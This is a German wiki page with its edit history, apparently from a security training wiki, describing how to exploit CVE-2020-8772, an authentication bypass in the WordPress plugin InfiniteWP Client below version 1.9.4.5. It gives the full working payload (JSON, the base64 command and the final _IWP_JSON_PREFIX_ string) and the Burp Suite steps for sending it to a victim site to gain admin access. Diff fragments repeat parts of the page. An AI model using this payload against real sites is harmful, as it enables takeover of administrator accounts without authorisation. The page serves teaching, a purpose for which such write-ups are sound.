Authentication Bypass Wordpress - Versionsgeschichte

Thomas.will: /* Dies können wir herausfinden in dem wir folgendes tun */

2026-02-11T14:38:52Z

Dies können wir herausfinden in dem wir folgendes tun

Thomas.will am 22. März 2023 um 15:54 Uhr

2023-03-22T15:54:42Z

Thomas.will: /* Anforderungen um diesen Hack auszuführen */

2023-03-22T15:51:08Z

Anforderungen um diesen Hack auszuführen

Thomas.will: /* Anforderungen um diesen Hack auszuführen */

2023-03-22T15:50:16Z

Anforderungen um diesen Hack auszuführen

Thomas.will: /* Anforderungen um diesen Hack auszuführen */

2023-03-22T15:48:38Z

Anforderungen um diesen Hack auszuführen

Thomas.will: /* Anforderungen um diesen Hack auszuführen */

2023-03-22T15:44:36Z

Anforderungen um diesen Hack auszuführen

Thomas.will: /* Anforderungen um diesen Hack auszuführen */

2023-03-22T15:35:36Z

Anforderungen um diesen Hack auszuführen

Thomas.will am 22. März 2023 um 14:26 Uhr

2023-03-22T14:26:47Z

Thomas.will: Die Seite wurde neu angelegt: „=Anforderungen um diesen Hack auszuführen= *Die Wordpress Website muss das Plugin InfiniteWP Client plugin in der Version < 1.9.4.5 haben. (Ob die Website die…“

2023-01-27T07:05:02Z

Die Seite wurde neu angelegt: „=Anforderungen um diesen Hack auszuführen= *Die Wordpress Website muss das Plugin InfiniteWP Client plugin in der Version < 1.9.4.5 haben. (Ob die Website die…“

Neue Seite

=Anforderungen um diesen Hack auszuführen=
*Die Wordpress Website muss das Plugin InfiniteWP Client plugin in der Version < 1.9.4.5 haben. (Ob die Website dieses Plugin besitzt, kann man mit z.b [[https://xinux.net/index.php/Wpscan]] herausfinden)
*Dem Angreifer muss bekannt sein, wie der Username des Admins lautet.
*Eine Möglichkeit den Payload an die Website zu senden besteht z.b mittels der Burp Suite.
;Achtung: Das Plugin kann auch in der Version < 1.9.4.5 sicher sein, falls der Administrator die Schwachstelle manuell behoben hat.
=Beispiel=
[[Datei:Wp-hack.png]]

=Vorgehen=
*Starten der Burp-Suite
*Navigation zu der Registrierkarte "proxy"
*Öffnen des Navigationpunktes "Intercept"
*Navigationpunkte "Intercept" auf "on" stellen
*Mit dem daraufhin geöffneten Burp-Suite Browsers, zu der Opfer Wordpress Seite navigieren

[[Datei:Authentication-Bypass-Wordpress.png|900px]]

==Erstellung des Payloads==
*Benötigte Parameter zur Generierung des Payloads.
{"iwp_action":"add_site","params":{"username":"admin"}}
=Warum Base64 Kodierung?=
*[[Base64 Kodierung]]
=Erstellen des ersten Teils des Payloads und Konvertieren in base64.=
echo '{"iwp_action":"add_site","params":{"username":"admin"}}' | base64 -w0
-> eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=
*Erstellung des Payloads durch Anhängen des zuvor generierten base64 Strings an die Zeichenfolge _IWP_JSON_PREFIX_ .
_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=
*Umwandeln der Anfrage Methode von GET in POST (klicken der Rechten Maustaste in der Burp Suite und Auswahl des Menüpunktes „Anfragemethode ändern“)
*Platzieren Sie den Payload als POST Argumente in der Burp Suite unterhalb der POST Anfrage.
[[Datei:Authentication-Bypass-Wordpress2.png|900px]]
*Klicken Sie auf Forward und schalten Sie "Intercept" aus.
*Neuladen der Opfer Website im Burp Suite Webbrowser.

=Resultat=
[[Datei:Wp-hack-4.png]]

=CVE=
*CVE-2020-8772
=Links=
[https://blog.pentesteracademy.com/cve-2020-8772-exploitation-under-3-minutes-594265b4e26a Bypass]

@@ Zeile 2: / Zeile 2: @@
 *Die Wordpress Website muss das Plugin InfiniteWP Client plugin in der Version < 1.9.4.5 haben.
 =Dies können wir herausfinden in dem wir folgendes tun=
-*Befehl zum herausfinden.
+*Einen Greenbone Scan durchführen.
 =Dies nehmen an=
 *Dem Angreifer muss bekannt sein, wie der Username des Admins lautet.

← Nächstältere Version		Version vom 22. März 2023, 15:54 Uhr
Zeile 1:		Zeile 1:
−	*Woher weiss ich das, welches Plugin installiert ist?
−
−
	=Anforderungen um diesen Hack auszuführen=		=Anforderungen um diesen Hack auszuführen=
	*Die Wordpress Website muss das Plugin InfiniteWP Client plugin in der Version < 1.9.4.5 haben.		*Die Wordpress Website muss das Plugin InfiniteWP Client plugin in der Version < 1.9.4.5 haben.

← Nächstältere Version		Version vom 22. März 2023, 14:26 Uhr
Zeile 1:		Zeile 1:
		+	*Woher weiss ich das, welches Plugin installiert ist?
		+
		+
	=Anforderungen um diesen Hack auszuführen=		=Anforderungen um diesen Hack auszuführen=
	*Die Wordpress Website muss das Plugin InfiniteWP Client plugin in der Version < 1.9.4.5 haben. (Ob die Website dieses Plugin besitzt, kann man mit z.b [[https://xinux.net/index.php/Wpscan]] herausfinden)		*Die Wordpress Website muss das Plugin InfiniteWP Client plugin in der Version < 1.9.4.5 haben. (Ob die Website dieses Plugin besitzt, kann man mit z.b [[https://xinux.net/index.php/Wpscan]] herausfinden)

@@ Zeile 3: / Zeile 3: @@
 =Anforderungen um diesen Hack auszuführen=
-*Die Wordpress Website muss das Plugin InfiniteWP Client plugin in der Version < 1.9.4.5 haben. (Ob die Website dieses Plugin besitzt, kann man mit z.b https://bild.de herausfinden)
+*Die Wordpress Website muss das Plugin InfiniteWP Client plugin in der Version < 1.9.4.5 haben.
 *Dem Angreifer muss bekannt sein, wie der Username des Admins lautet.
 *Eine Möglichkeit den Payload an die Website zu senden besteht z.b mittels der Burp Suite.

@@ Zeile 7: / Zeile 7: @@
 *Eine Möglichkeit den Payload an die Website zu senden besteht z.b mittels der Burp Suite.
 ;Achtung: Das Plugin kann auch in der Version < 1.9.4.5 sicher sein, falls der Administrator die Schwachstelle manuell behoben hat.
 =Beispiel=
 [[Datei:Wp-hack.png]]